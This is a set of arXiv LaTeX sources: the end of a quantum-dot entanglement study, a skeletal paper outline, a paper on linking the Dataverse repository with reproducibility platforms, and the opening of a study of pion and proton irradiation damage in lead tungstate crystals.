\includegraphics[width=0.98\textwidth]{Beta-excitado.pdf}
\end{minipage}
\begin{minipage}{0.17\textwidth}
\includegraphics[width=0.98\textwidth]{Estrella-t0-excitado.pdf}\\
\includegraphics[width=0.98\textwidth]{Pob-t0-excitado.pdf}
\begin{small}
\begin{center}
$t=0$ ps
\end{center}
\end{small}
\end{minipage}
\ \hfill
\begin{minipage}{0.17\textwidth}
\includegraphics[width=0.98\textwidth]{Estrella-t1-excitado.pdf}\\
\includegraphics[width=0.98\textwidth]{Pob-t1-excitado.pdf}
\begin{small}
\begin{center}
$t=156$.$6$ ps
\end{center}
\end{small}
\end{minipage}
\ \hfill
\begin{minipage}{0.17\textwidth}
\includegraphics[width=0.98\textwidth]{Estrella-t2-excitado.pdf}\\
\includegraphics[width=0.98\textwidth]{Pob-t2-excitado.pdf}
\begin{small}
\begin{center}
$t=313$.$1$ ps
\end{center}
\end{small}
\end{minipage}
\caption{\label{fig:beta(t)-excitado} In the left panel we present the temporal evolution of the parameter $\beta$ for the quantum dot initially in its excited state. It is clear that the system has a periodic behavior. In the right panel we present the Wigner function and the population of the light's density operator, which verify the periodicity of the system's temporal evolution. In this case, the dipole coupling energy is $g=10$ ps$^{-1}$, and the temporal period is approximately $313$.$1$ ps.}
\end{figure*}
\begin{figure*
\begin{minipage}{0.47\textwidth}
\centering \includegraphics[width=0.98\textwidth]{Entrelaza-base.pdf}
\end{minipage}
\ \hfill
\begin{minipage}{0.47\textwidth}
\centering \includegraphics[width=0.98\textwidth]{Entrelaza-excitado.pdf}
\end{minipage}
\caption[Negativity and linear entropy: ideal cavity]{Negativity and linear entropy of the system, considering the state of light with the initial condition given by eq. (\ref{cond.ini.}) with a) $\theta=0$ (left) and b) $\theta=\pi/2$ (right). It is straightforward to notice that the two functions have periodic behavior, and that its period is equal to the one of the parameter $\beta$.}
\label{fig:Entrela-Hamilton}
\end{figure*}
\begin{figure*
\begin{minipage}{0.47\textwidth}
\centering \includegraphics[width=0.98\textwidth]{Dis-Neg-k.pdf}
\end{minipage}
\ \hfill
\begin{minipage}{0.47\textwidth}
\centering \includegraphics[width=0.98\textwidth]{Dis-Neg-P.pdf}
\end{minipage}
\caption[Negativity and linear entropy: real cavity (fixed photon leakage rate)]{
In the left panel we observe the negativity with a fixed photon leakage rate $\kappa=6$ ps$^{-1}$, for several excitation pumping rates. We observe that although increasing the excitation pumping rate makes the system get maximally entangled faster, the entanglement maximum is lower. Furthermore, in the right panel we present the negativity with a fixed excitation pumping rate $P=0$.$5$ ps$^{-1}$ and several photon leakage rates. We observe a series of damped oscillations between entangled and separable states, noticing that the damping rate increases as the $\kappa$ becomes larger. }
\label{fig:Entrela-dis-k}
\end{figure*}
\subsection{Election of the parameters}
Our model has several parameters, so its paramount to establish the range of values in which we are going to do the study. The coupling energy between the quantum dot and the electromagnetic field is usually of the order of the meV, so we take $g= 10$ ps$^{-1}$. On the other hand, in systems of semiconductor cavities the energies of both the quantum dot and the electromagnetic field are of the order of $1$ eV. Therefore we take $\omega_a=1$eV y $ \omega_\sigma= (\omega-\Delta)$, where $\Delta$ is known as the detuning, and is usually or the order of the meV. Since this detuning is small compared to the transition energies, in this paper we restrict ourselves to the perfect resonance; i.e. $\Delta=0$.
Moreover, since we are studying the system under the low-excitation regime, the rate of incoherent excitation pumping $P$ varied between zero and $3$ ps$^{-1}$, whereas the cavity losses $\kappa$ ranged between zero and $6$ ps$^{-1}$.
Finally, since in \cite{Lopez-2014} was shown that the three photon state, as the one in eq. (\ref{Estella}) may be prepared inside the cavity, we take the parameter $\beta=0.9$, and set the initial condition of the system as,
\begin{equation}\label{cond.ini.}
\ket{\psi_{t=0}}=\left (\cos\theta\ket{g}+\sin\theta\ket{e}\right )\ket{*},
\end{equation}
where $\ket{g}(\ket{e})$ is the ground (excited) state of the two-level system, and $\ket{*}$ is the three photon state given in eq. (\ref{Estella}).
\subsection{Ideal cavity}
In order to establish the characteristics of the dynamics due to the coherent evolution (i.e. due to the Hamiltonian) and those due to the incoherent evolution (i.e. due to the dissipative processes), we first consider an ideal cavity in which the system is note perturbed in any form by the environment.
On the other hand, since the state of light of our system is fully characterized by the parameter $\beta$, we study its temporal evolution.
In the left panel of fig. (\ref{fig:beta(t)-base}) we present the behavior of $\beta$ as a function of time, corresponding to an initial state given by eq. (\ref{cond.ini.}) and with $\theta=0$. The most relevant feature of that figure is the set of resonances, all of which are equally separated in time.
On the other side, in the right panel of fig. (\ref{fig:beta(t)-base}), we present the Wigner function as well as the populations of the state of light, noticing the same periodicity. Thus, it is clear that th resonances shown by the $\beta$ parameter coincide with states of light for which the Fock state with $n=3$ is not probable.
Analogously, in the left panel of the figure (\ref{fig:beta(t)-excitado}) we show the behavior of $\beta$ as a function of time, corresponding to an initial state as in eq. (\ref{cond.ini.}) and with $\theta=\pi/2$. For this initial condition, the periodic behavior of the light states is quite evident. In the right panel of fig. (\ref{fig:beta(t)-excitado}) we present the Wigner function as well as the populations of the state of light, noticing that the parameter $\beta$ reaches its minimum when the probability of having a vacuum Fock state is equal to zero. Thus, the periodicity of $\beta$ is associated to the periodicity of the state of light.
In this way, for a dipole coupling energy of $g=10$ ps$^{-1}$, the the period of the amplitude of the parameter $\beta$ is: a) $T \approx 180$ ps for the quantum dot initially in its ground state, and b) $T \approx 313$.$1$ ps for the quantum dot initially in its excited state. The values of the periods can be checked in the right panels of the fig. (\ref{fig:beta(t)-base}) and fig. (\ref{fig:beta(t)-excitado}), respectively.
On the other side, we are interested in the degree of entanglement between the electromagnetic field and the quantum dot. We investigate such quantity using the linear entropy and the negativity. In the figure (\ref{fig:Entrela-Hamilton}) we show the entanglement dynamics considering the system's initial condition given by eq. (\ref{cond.ini.}), with $\theta=0$ (left panel) and $\theta=\pi/2$ (right panel).
In the first place, we notice that the negativity maxima coincide with the time intervals for which the state of light is a three-photon state; and that an analogous behavior is shown by the linear entropy. Nevertheless, for the quantum dot initially in its excited state, the linear entropy has a local minimum in the middle of two consecutive negativity minima. The linear entropy's local minimum is associated to a zero probability of having the Fock state with $n=0$ in the state of light.
\subsection{Real cavity: dissipative dynamics}
The exposure to the environment and the external manipulation of the system produces the destruction of some of its properties, for example the periodical behavior. Moreover, using a specific set of parameters the system reaches an stationary state, which could be useful to recover the initial state and thus information about the original system.
Since the dynamical evolution is no longer expected to be periodic, the study of the parameter $\beta$ as a function of time is not as important as in the previous section. Nonetheless, the entanglement witnesses contain interesting information about the physical systems. Therefore, in this section we focus on the dynamics of those quantities as a function of the incoherent excitation pumping rate and photon leakage rate.
In the left panel of figure (\ref{fig:Entrela-dis-k}) we present the behavior of the negativity as a function of the excitation pumping rate, keeping the photon leakage rate constant at $\kappa=6$ ps$^{-1}$. In the first place, we observe that the negativity reach an stationary value, which implies that the observed behavior is independent of the system's initial state. On the other side, we notice that by increasing the values of $P$ the negativity reaches its maximum faster but the value of the maximum is also reduced.
The study of the dynamical behavior of the entanglement witnesses as a function of the photon leakage rate is shown in the right panel of figure (\ref{fig:Entrela-dis-k}). We notice that at certain time intervals the negativity becomes zero, and then takes positive values again. This phenomena is usually refer to as \textit{entanglement sudden death} and has been observed in Jaynes-Cummings-like systems \cite{Eberly-2006, Eberly-2004, Eberly1-2006}. Furthermore, we observe that both the value at the negativity maxima and the number of negativity \textit{revivals} diminishes as the photon leakage rate $\kappa$ increases.
\section{Conclusions}\label{sec:04}
In this paper we study the dynamical behavior of a quantum state of light, known as a three-photon state, interacting with a quantum dot inside a cavity. In the first place we analyze the temporal evolution of the system inside a perfect cavity; i.e. neglecting all incoherent processes. Thus, we observe a periodic evolution, which depends strongly on the quantum dot's initial condition. Likewise, the negativity and linear entropy have a periodic behavior, which period matches the one of the system's evolution.
Furthermore, we investigate the temporal evolution of the system considering a cavity with dissipative processes; such as an incoherent excitation pumping rate and the leakage of photons out of the cavity. Keeping the excitation pumping rate constant, we observe time intervals for which the entanglement vanishes.
Finally, we report that although the system is quite interesting because it can readily be prepared in a semiconductor microcavity, the environment destroys the entanglement between the three photon state and the quantum dot in a time scale too small for the system to be useful for quantum information processing.
\begin{acknowledgments}
This research has been supported by the Direcci\'{o}n de Investigaci\'{o}n - Sede Bogot\'{a}, Universidad Nacional de Colombia (DIB-UNAL) within the project No. 12584.
Furthermore, we acknowledge technical support of the Grupo de \'{O}ptica e Informaci\'{o}n Cu\'{a}ntica.
\end{acknowledgments}
|
1,477,468,750,026 | arxiv |
\section{Introduction}
\input{introduction.tex}
\section{Related Work}
\label{sec:priorart}
\input{related.tex}
\section{Joint Event Recognition and Entity Resolution}
\label{sec:corefer}
\input{method.tex}
\section{Experiments and Discussion}
\label{sec:experiments}
\input{experiments.tex}
\section{Conclusions}
\label{sec:conclusion}
\input{conclusions.tex}
\bibliographystyle{abbrv}
|
1,477,468,750,027 | arxiv |
\section{Introduction}
The requirement of reproducible computational research is becoming increasingly important and mandatory across the sciences~\cite{national2019reproducibility}. Because reproducibility implies a certain level of openness and sharing of data and code, parts of the scientific community have developed standards around documenting and publishing these research outputs~\cite{wilkinson2016fair,chen2019open}. Publishing data and code as a replication package in a data repository is considered to be a best practice for enabling research reproducibility and transparency~\cite{molloy2011open}.~\footnote{At Dataverse, the data, and code used to reproduce a published study are called "replication data" or a "replication package"; in Whole Tale, this is called a "tale", and in Code Ocean a "reproducible capsule".}
Some academic journals endorse this approach for publishing research outputs, and they often encourage (or require) their authors to release a replication package upon publication. Data repositories, such as Dataverse or Dryad, are the predominantly encouraged mode for sharing research data and code followed by journals' own websites (Figure~\ref{fig:mode})~\cite{crosas2018data}. For example, the American Journal of Political Science (AJPS) and the journal Political Analysis have their own collections within the Harvard Dataverse repository, which is their required venue for sharing research data and code.
Recent case studies~\cite{collberg2016repeatability} reported that the research material published in data repositories does not often guarantee reproducibility. This is in part because, in the current form, data repositories do not capture all software and system dependencies necessary for code execution. Even when this information is documented by the original authors in an instructions file (like readme), contextual information still might be missing, which could make the process of research verification and reuse hard or impossible. This is also often the case with some of the alternative ways of publishing research data and code, for example, through the journal's website. A study~\cite{rowhani2018badges} reported that the majority of supplemental data deposited on a journal's website was inaccessible due to broken links. Such problems are less likely to happen in data repositories that follow standards for long-term archival and support persistent identifiers.
\begin{figure}
\centering
\includegraphics[width=0.9\linewidth]{mode-hist.pdf}
\caption{Aggregated results for most popular data sharing mode in anthropology, economics, history, PoliSci+IR, psychology, and sociology from Ref.~\cite{crosas2018data}.} \label{fig:mode}
\end{figure}
Some researchers prefer to release their data and code on their personal websites or websites like GitHub and GitLab. This approach does not natively provide a standardized persistent citation for referencing and accessing the research materials, nor sufficient metadata to make it discoverable in data search engines like Google Dataset Search and DataCite search. In addition, it does not guarantee long-term accessibility as data repositories do. Because research deposited this way does not typically contain a runtime environment, nor system or contextual information, this approach is also often ineffective in enabling computational reproducibility~\cite{pimentel2019large}.
New cloud services have emerged to support research data organization, collaborative work, and reproducibility~\cite{perkel2019make}. Even though the number of different and useful reproducibility tools is constantly increasing, in this paper, we are going to focus on the following projects: Code Ocean~\cite{staubitz2016codeocean}, Whole Tale~\cite{brinckman2019computing}, Renku~\footnote{https://renkulab.io} and Binder~\cite{jupyter2018binder, kluyver2016jupyter}. All of these tools are available through a web browser, and they are based on the containerization technology Docker, which provides a standardized way to capture the computational environment that can be shared, reproduced, and reused.
\begin{enumerate}
\item Code Ocean is a research collaboration platform that enables its users to develop, execute, share, and publish their data and code. The platform supports a large number of programming languages including R, C/C++, Java, Python, and it is currently the only platform that supports code sharing in proprietary software like MATLAB and Stata.
\item Whole Tale is a free and open-source reproducibility platform that, by capturing data, code, and a complete software environment, enables researchers to examine, transform and republish research data that was used in an academic article.
\item Renku is a project similar to Whole Tale that focuses on employing tools for best coding practices to facilitate collaborative work and reproducibility.
\item Binder is a free and open-source project that allows users to run notebooks (Jupyter or R) and other code files by creating a containerized environment using configuration files within a replication package (or a repository).
\end{enumerate}
Even though virtual containers are currently considered the most comprehensive way to preserve computational research~\cite{piccolo2016tools,jimenez2015role}, they do not entirely comply with modern scientific workflows and needs. Through the use of containers, the reproducibility platforms in most cases fail to support FAIR principles (Findable, Accessible, Interoperable, and Reusable)~\cite{wilkinson2016fair}, standardized persistent citation, and long-term preservation of research outputs as data repositories strive to do. Findability is enabled through standard or community-used metadata schemas that document research artifacts. Data and code stored in a Docker container on a reproducibility platform are not easily visible nor accessible from outside of the container, which thus hinders their findability. This could be an issue for a researcher looking for a specific dataset rather than a replication package. In addition, unlike data repositories, reproducibility platforms do not undertake a commitment to the archival of research materials. This means that, for example, in a scenario where a reproducibility platform runs out of funding, the deposited research could be inaccessible.
Individually data repositories and reproducibility platforms cannot fully support scientific workflows and requirements for reproducibility and preservation. This paper explains how these shortcomings could be overcome through integration that would result in a robust paradigm for preserving computational research and enabling reproducibility and reuse while making the replication packages FAIR. We argue that through the integration of these existing projects, rather than inventing new ones, we could combine the functionalities that effectively complement each other.
\section{Related work}
Through integration, reproducibility platforms and data repositories create a synergy that addresses weaknesses of both approaches. Some of these integrations are already on the way:
\begin{itemize}
\item CLOCKSS~\footnote{https://clockss.org} is an archiving repository that preserves data with regular validity checks. Unlike other data repositories, it does not provide public or user access to the preserved content, except in special cases that are referred to as ``triggered content''. Code Ocean has partnered with CLOCKSS to preserve in perpetuity research capsules associated with publications from some of the collaborating journals.
\item The Whole Tale platform relies on integrations with external resources for long-term stewardship and preservation. They already enable data import from data repositories, and a publishing functionality for a replication package is currently underway through DataONE, Dataverse, and Zenodo~\cite{chard2019implementing}.
\item Stencila is an open-source office suite designed for creating interactive, data-driven publications. With its familiar user interface, it is geared toward the users of Microsoft Word and Excel. It integrates data and code as a self-contained part of the publication, and it also enables external researches to explore the data and write custom code. Stencila and the journal eLife have partnered up to facilitate reproducible publications~\cite{maciocci2019introducing}.
\end{itemize}
\section{Implementation}
In this paper, we present our developments in the context of the Dataverse Project, which is a free and open-source software platform to archive, share, and cite research data. Currently, 55 institutions around the globe run Dataverse instances as their data repository.
Dataverse's integration with the reproducibility platforms has propelled a series of questions and developments around advancing reproducibility for its vast and diverse user community. First, while container files can be uploaded to Dataverse, there is no special handling for these files, which can result in mixed outcomes for researchers trying to verify reproducibility. Second, it is important to facilitate the capture of computational dependencies for the Dataverse users who choose not to use a reproducibility platform. Finally, in a replication package with multiple seemingly disorganized code files, it would be important to minimize the time and effort of an external user who wants to rerun and reuse the files. Therefore, new functionality to support container-based deposits, organization, and access needs to be added to Dataverse to improve reproducibility.
\subsection{Integration with reproducibility platforms}
Dataverse integration with the reproducibility platforms should allow both adding new research material into Dataverse, and importing and reusing the existing material from Dataverse into a reproducibility platform. This communication is implemented through a series of existing and new APIs. The reproducibility platforms that have an ongoing integration collaboration with Dataverse are Code Ocean, Whole Tale, Binder, and Renku.
\begin{figure}
\centering
\includegraphics[width=\linewidth]{dv-view.png}
\caption{Preliminary view of how research stored in Dataverse can be viewed and explored in reproducibility platforms with a button click.} \label{fig:dataverse}
\end{figure}
Importing research material from Dataverse means that data and code that already exist in Dataverse could be transferred directly into a reproducibility platform. On the Dataverse side, this is implemented through a new button "Explore", shown in Figure~\ref{fig:dataverse}. When the button is clicked, the replication package is copied and sent to a reproducibility platform where it, using the configuration files from the package, creates a Docker container, places all data and code into it and provides a view through a web browser. This means that the Dataverse users will not need to download any of the files to their personal computers, nor will they need to set up a computational environment to execute and explore the deposited files. So far, the "Explore" button is functional for the Whole Tale platform, while the others are underway.~\footnote{Dataverse documentation for integrations: http://guides.dataverse.org/en/4.20/admin/ external-tools.html}
The researcher whose starting point is the reproducibility platform will be able to import materials for their analysis directly from Dataverse. An example where a researcher is importing Dataverse open data as "external data" into Whole Tale is shown in Figure~\ref{fig:wt}, as this integration is now implemented. Similarly, Figure~\ref{fig:binder} shows new integration developments with the lightweight cloud platform, Binder, that now enables the users to import and view data from Dataverse. The export of the encapsulated research material into Dataverse will also be possible, which means that, once an analysis is ready for dissemination, the researchers would initiate "analysis export" in a reproducibility platform, that would then copy the files from a Docker container into Dataverse. This way, all necessary computational dependencies are automatically recorded by a reproducibility tool and stored at a data repository following preservation standards. This functionality is already implemented on Renku.~\footnote{Integration code at https://github.com/SwissDataScienceCenter/renku-python/pull/909}
\begin{figure}
\centering
\includegraphics[width=\linewidth]{wt-example.png}
\caption{Using data from Dataverse in the Whole Tale environment. Snapshot from YouTube video \url{https://www.youtube.com/watch?v=oWEcFpEUmrU}. Credit: Craig Willis.} \label{fig:wt}
\end{figure}
\begin{figure}
\centering
\includegraphics[width=\linewidth]{binder-fig-2.png}
\caption{Binder’s GUI (\url{https://mybinder.org}) supports viewing content from Dataverse.} \label{fig:binder}
\end{figure}
\iffalse
\begin{figure}
\centering
\includegraphics[width=.8\linewidth]{gui.png}
\caption{New GUI for replication metadata.} \label{fig:rep}
\end{figure}\fi
\subsection{Handling containers}
Importing replication packages from the reproducibility platforms means that Dataverse would need to support the capture of their virtual containers. Since all aforementioned reproducibility platforms are based on the containerization technology Docker, new Dataverse developments focus on Docker containers. Docker containers can be built automatically from the instructions laid out in a "Dockerfile". A Dockerfile is an often tiny text file that contains commands, typically for installing software and dependencies, to set up a runtime environment needed for research analysis. The Dataverse platform will encourage depositing Dockerfiles to capture the computational environment. This would allow the users to explore replication packages in any supported reproducibility tool as Dockerfiles are agnostic to computational platforms. An alternative solution would be to create a Dataverse Docker registry where the whole images would be preserved. This approach will not be pursued at the time due to excessive storage requirements.
It is important to mention that at present, any file can be stored at Dataverse, including a Dockerfile, and that there are currently dozens of Dockerfiles stored at Harvard's instance of Dataverse. However, whereas previously Dockerfiles were considered as "other files", in the new development they will be pre-identified at upload, and thus will require additional metadata. When a reproducibility platform automatically generates a Dockerfile, it is likely to be suitable for portability and preservation. However, when a researcher prepares it, this might not be the case. Dockerfiles could be susceptible to some of the practices that cause irreproducibility, like the use of absolute (fixed) file paths, which is why Dataverse will encourage its users to use best practices when depositing these files. In particular, before depositing a Dockerfile, the researcher will be prompted to confirm that their Dockerfile does not include any of the common reproducibility errors.
\subsection{Capturing execution commands}
In addition to capturing a Docker container via Dockerfile, it is important to capture the sequence of steps that the user ran to obtain their results. This applies to the results obtained with command-line languages such as Python, MATLAB, Julia. Capturing the command sequence is particularly important when there are multiple code files within the replication dataset without the clear notation in which order they should be executed. The commands will be captured in the replication package metadata using a community standard to be determined (see, for example, RO-Crate~\cite{carragainro}).
In case the replication package was pulled from a reproducibility tool, like Code Ocean and Whole Tale, these replication commands would be automatically populated. For example, Code Ocean generates the commands that build and run a Docker container for each replication package, and it also encourages researchers to specify the command sequence in a file called "run" to automatize their code. This means that all command sequences that run "outside" and "inside" the container are captured. Dataverse users who choose not to use a reproducibility platform would need to manually specify this sequence based on presented best practices.
\subsection{Improving FAIR-ness}
Because no dataset would be 'hidden' within a virtual container at Dataverse, all files originally used in research would be indexed and thus findable by one of the common dataset search engines. They would also be accessible directly from the dataset landing page on the web. Their interoperability and reusability would be now improved with the integration with the reproducibility platforms, as the barriers to creating a runtime environment and running code files would be alleviated.
\begin{figure*}[htb!]
\centering
\includegraphics[width=0.85\linewidth]{dvpic-2.pdf}
\caption{Four main workflows that Dataverse aims to support with reproducibility platform integration.} \label{fig:int}
\end{figure*}
\subsection{New data metrics}
Dataverse traditionally aims to provide incentives to researchers to share data through data citation credit, data metrics such as a count of downloads for datasets and access requests for restricted data. One of the completed new developments includes integrating certifications or science badges, such as Open Data and Open Materials, within a dataset landing page on Dataverse.
The new support for reproducibility tools and containers will also result in creating new metrics for the users. The datasets that are deposited through a reproducibility platform into Dataverse will be denoted with a 'reproducibility certification' badge that will signal their origin and easy execution on the cloud. For example, a replication package that was received from a reproducibility platform Whole Tale, will include its origin information and encourage its exploration and reuse through Whole Tale.
\section{Functionality and use-cases}
The Dataverse integration with the reproducibility platforms and the new developments that improve the reproducibility of deposited research will facilitate research workflows relating to verification, preservation, and reuse in the following ways (shown in Figure~\ref{fig:int}):
\begin{enumerate}
\item Research encapsulation. The first supported workflow enables authors to deposit their data and code through Code Ocean, Whole Tale, or Renku, which then create a replication package that is sent for dissemination and preservation to Dataverse. The Dataverse users who were not previously familiar with the containerization technology Docker will now be able to containerize their research through the new workflow. In addition, this workflow is particularly important for prestigious academic journals that verify research reproducibility through third-party curation services and a reproducibility platform. For example, code review at the journal Political Analysis, which collaborates with Code Ocean and Harvard Dataverse for data dissemination and preservation, will be significantly sped up with the deployment of this workflow, as all the code associated with a publication will already be automatized, containerized and available on the cloud.
\item Modify and republish research. The second workflow covers pulling a replication package from Dataverse and republishing it after an update. This would create a new version of the package in Dataverse, as well as track provenance about the original package. Peer-review and revisions of the package should thus be much easier. In addition, the replication packages on Dataverse that currently do not have information on their runtime environment could be updated and republished with a Dockerfile generated by one of the reproducibility platforms.
\item View deposited research materials. The third functionality allows viewing and exploring the content of deposited research without the need to download the files and install new software. This could be particularly valuable for external researchers and students who would like to understand research results or reuse data or code.
\item Preserve computational environment with Dockerfile. Through the new developments in Dataverse that encourage depositing Dockerfiles with best practices, the researchers who are experienced in using Docker will now be able to adequately preserve these files in the repository.
\end{enumerate}
\section{Conclusions}
In the last decade, there has been extensive discussion around preservation, reproducibility, and openness of computational research, which resulted in creating multiple new tools to facilitate these efforts, the most popular being data repositories and reproducibility platforms. However, individually these two approaches cannot fully facilitate findable, interoperable, reusable, and reproducible research materials. This paper presents a robust solution achieved through their integration.
Described integrations have resulted in developing new functionality in Dataverse, such as expanding on the existing API, introducing new replication-package metadata, and handling virtual containers via Dockerfile. In addition to allowing research preservation in a reproducible and reusable way through the integrations, Dataverse aims to identify new and useful data metrics to be displayed on the dataset landing page. Due to the fact that there is an increasing number of similar reproducibility tools, this paper also advocates for considering integration with an existing solution before (re)inventing a new reproducibility tool.
|
1,477,468,750,028 | arxiv | \section{Introduction}
\label{s-int}
A recent study we performed on Lead Tungstate crystals has
demonstrated that hadrons cause a specific, cumulative damage which
only affects light transmission, while the scintillation mechanism
remains unaffected~\cite{r-LTNIM,r-LYNIM}. The results were obtained
exposing the crystals to various fluences of 20 GeV/c or 24 GeV/c
proton beams up to the full integrated fluence expected at the
LHC. Complementary $\gamma$ irradiations with a $^{60}$Co source
allowed to disentangle the damage due to the associated
ionising dose.
However, crystals used in high-energy physics detectors will typically
be exposed to hadrons -- mostly charged pions -- with different
energies. In the CMS experiment at the LHC for example~\cite{r-TDR},
the large hadron fluxes are due to particles whose energies rarely
exceed 1 GeV. Thus, it had to be established how results obtained
with high-energy protons can be scaled to lower energies and different
particle types.
\section{The crystals}
\label{s-cry}
For this study, a $\mathrm{PbWO}_4$ crystal was used, labelled {\em w}
in Refs.~\cite{r-LTNIM} and \cite{r-LYNIM}, produced by the
Bogoroditzk Techno-Chemical Plant (BTCP) in Russia for the
electromagnetic calorimeter (ECAL) of the CMS experiment~\cite{r-TDR}.
This crystal had been already tested under irradiation with $^{60}$Co
photons up to 9.59 kGy, showing a modest induced absorption at the
peak of scintillation-emission wavelength,
$\mu_{IND}\mathrm{(420\;nm)}\simeq 0.2\; $m$^{-1}$. The damage from
$\gamma$ irradiation was annealed by heating the crystal to $250^o$ C
for 4 h and full recovery was checked through light transmission
measurements. Then, the crystal was cut into three equal-length
sections, with nearly parallelepipedic dimensions of $2.4 \times 2.4\;
\mathrm{cm}^2$ and lengths of 7.5 cm, which we labelled {\em w1}, {\em
w2} and {\em w3}. The first, {\em w1}, and last, {\em w3}, sections
were irradiated with 24\,GeV/c protons at the IRRAD1
facility\,\cite{r-IR1} in the T7 beam line of the CERN PS accelerator,
while the middle section, {\em w2}, was irradiated with 290 MeV/c
pions in the $\pi E1$ beam line at the Paul Scherrer Institute (PSI)
in Villigen, Switzerland.
\section{The proton irradiation}
\label{s-PRI}
Samples {\em w1} and {\em w3} were irradiated at the same time,
with {\em w3} placed right behind {\em w1}, so that the proton beam
was entering through the small face of {\em w1} and the hadronic
cascade could develop through both crystals. The same irradiation
procedure was followed as in \cite{r-LTNIM}, where all
details can be found. The fluence was determined through
the activation of an aluminium foil covering the crystal front face.
The proton beam spot was broadened to cover the whole crystal front
face with a flux $\phi_p= 2.8 \times 10^{12}$\,cm$^{-2}$h$^{-1}$. The
proton fluence reached was $\Phi_p=(1.17 \pm 0.11) \times
10^{13}\;\mathrm{cm^{-2}}$.
\section{The pion irradiation}
\label{s-PII}
The pion irradiation was performed in the high-flux secondary pion
beam line $\pi E1$ at the Paul Scherrer Institute 590 MeV Ring
Cyclotron~\cite{r-SUG}.
Pions are produced there by primary protons hitting a graphite target. They
are then extracted from the target at an angle of 8$^{o}$ with respect
to the incident protons and then transferred by a beam line containing
a magnet-spectrometer in order to select them according to charge and
momentum. The beam line was set to deliver positively charged pions to
the irradiation zone at a nominal momentum of 300 MeV/c. The protons
and positrons contamination was suppressed by inserting 6 mm and 15 mm
Carbon foils respectively before and after the last bending
magnet. The resulting beam momentum on the crystal was $(290.2 \pm
0.3)$ MeV/c, where the error is dominated by the uncertainty in the
energy loss in carbon. The neutrons produced by proton interactions
in the graphite foils yield a beam contamination below
1\%\cite{r-FUR}, and the positron contamination is of the order of
0.5\%\cite{r-REN}.
To uniformly irradiate the crystal, it was longitudinally positioned
at the waist of the beam in the irradiation zone, where the
contribution of the divergence to the beam spot is minimal.
Transversally, the beam spot was optimised to have a nearly Gaussian
shape in both transverse directions, with a FWHM of $\sim 42$ mm both,
in the vertical and in the horizontal directions. The beam profile
was monitored with an X-Y wire chamber placed 11 cm upstream of the
crystal, and whose wire signals were displayed on an oscilloscope. A
ionization chamber, also placed in the beam, was used to monitor the
beam fluence: its digitised induced current $N_{ICS}$, which is
proportional to the total beam intensity, was integrated throughout
the irradiation.
The crystal was placed on a 20 cm thick Styrofoam support to minimise
the amount of surrounding material. Before the start of irradiation,
the beam spot profiles were checked in 3 planes by means of
self-developing Gafchromic MD55 dosimetry foils~\cite{r-FOI}. The
foils were placed longitudinally at the coordinates corresponding to
the entrance face, middle and exit face of the crystal, supported by a
Styrofoam holder. A 10 min long exposure of the foils to the beam
provided a sufficient contrast to visualise uniform, equally sized
beam spots in the three positions. The pion fluence measurements were
performed using the activation of aluminium foils, as described in
section \ref{s-PIF}. Further details about the beam line setup and
beam control can be found in Ref. \cite{r-SUG}, \cite{r-REN} and
\cite{r-SUH}. The crystal was irradiated for 137.4 h, for a total
fluence $\Phi_{\pi}=(5.67 \pm 0.46)\times 10^{13}\;
\mathrm{cm^{-2}}$. The average flux on the crystal was
$\phi_{\pi}=4.13\times 10^{11}\; \mathrm{cm^{-2}\; h^{-1}}$.
\section{Pion fluence determination}
\label{s-PIF}
For the pion fluence determination we used the activation of aluminium
foils by the beam~\cite{r-FUR}, by determining, with a Germanium
spectrometer~\cite{r-MAL}, the amount of $^{22}$Na or $^{24}$Na
isotopes present at the end of irradiation. For this purpose, we
placed a 1.588 g aluminium foil, $2.4 \times 2.4\; \mathrm{cm}^2$ in
cross-section, 1 cm upstream of the crystal. For the crystal
irradiation, which lasted much longer than the $^{24}$Na lifetime
$\tau_{24}= 21.6$ h, $^{22}$Na was more suitable for a fluence
determination. However, precise values of the production cross section
for the considered pion energy range can be found in literature only
for $^{24}$Na~\cite{r-24NA}. From the existing data we determined an
interpolated value at our beam energy, which amounts to
\begin{equation}
\sigma\left(A\ell(\pi^+,X)^{24}Na\right)=(20.0 \pm 0.7)\; \mathrm{mb}.
\label{e-sigma24}
\end{equation}
In order to use the $^{22}$Na activation for a precise fluence
determination for the crystal irradiation, we measured the
$^{24}$Na/$^{22}$Na cross section ratio through a 12 h long activation
of a 6.3173 g aluminium foil, $2.4 \times 2.4\; \mathrm{cm}^2$ in
cross-section, exposed to the pion beam without the presence of a
crystal. Furthermore, during all the pion irradiations, the
instantaneous primary beam intensity was recorded every 5
s~\cite{r-MEZ} .
The pion fluence on the foil can be calculated from the number
$K_{24}$ of created $^{24}$Na nuclei, using the known
$\sigma\left(A\ell(\pi^+,X)^{24}Na\right)$ cross section (Eq.\ref{e-sigma24}),
which we label $\sigma_{24}$:
\begin{equation}
K_{24} = \kappa \cdot \sigma_{24} \sum_{i=1}^{n} I_i\cdot \Delta t_i
\end{equation}
with $\kappa$ a proportionality constant
and $I_i$ the beam intensity for a time interval $\Delta t_i\;
(1 \leq i \leq n)$, provided that $\Delta t_i \ll \tau_{24}$.
However, due to the isotope decay, the measured activity
$\mathcal{A}_{24}$ for the $A\ell$ foil at the time the irradiation
ended, $t_{END}$, is the one of the leftover isotopes, and it is given
by:
\begin{equation}
\mathcal{A}_{24} = \frac{\kappa \cdot \sigma_{24}}{\tau_{24}} \sum_{i=1}^{n} I_i\cdot e^{-(t_{END}-t_i)/\tau_{24}}\Delta t_i .
\end{equation}
Thus, from a measurement of $\mathcal{A}_{24}$ and a precise knowledge of the
instantaneous beam intensities $I_i$ throughout the irradiation,
it was possible to calculate the true amount $K_{24}$ of created isotopes:
\begin{equation}
K_{24} = \mathcal{F}_{24}\cdot \mathcal{A}_{24} \cdot \tau_{24}
\end{equation}
where
\begin{equation}
\mathcal{F}_{24} = \frac{\sum_{i=1}^{n} I_i\cdot \Delta t_i}{\sum_{i=1}^{n} I_i\cdot e^{-(t_{END}-t_i)/\tau_{24}}\Delta t_i}.
\end{equation}
The uncertainty $\Delta \mathcal{F}_{24}$ on $\mathcal{F}_{24}$ was calculated as
\begin{equation}
(\Delta \mathcal{F}_{24})^2 = \sum_{i=1}^{n} \left( \frac{\partial \mathcal{F}_{24}}{\partial I_i}\right) ^2(\Delta I_i)^2
\end{equation}
where each $\Delta I_i$ was taken as the half excursion between two
subsequent intensity values. The average primary beam intensity was
calculated as
\begin{equation}
\overline{I} = \frac{\sum_{i=1}^{n} I_i\cdot \Delta t_i}{\sum_{i=1}^{n}\Delta t_i}.
\label{e-INT}
\end{equation}
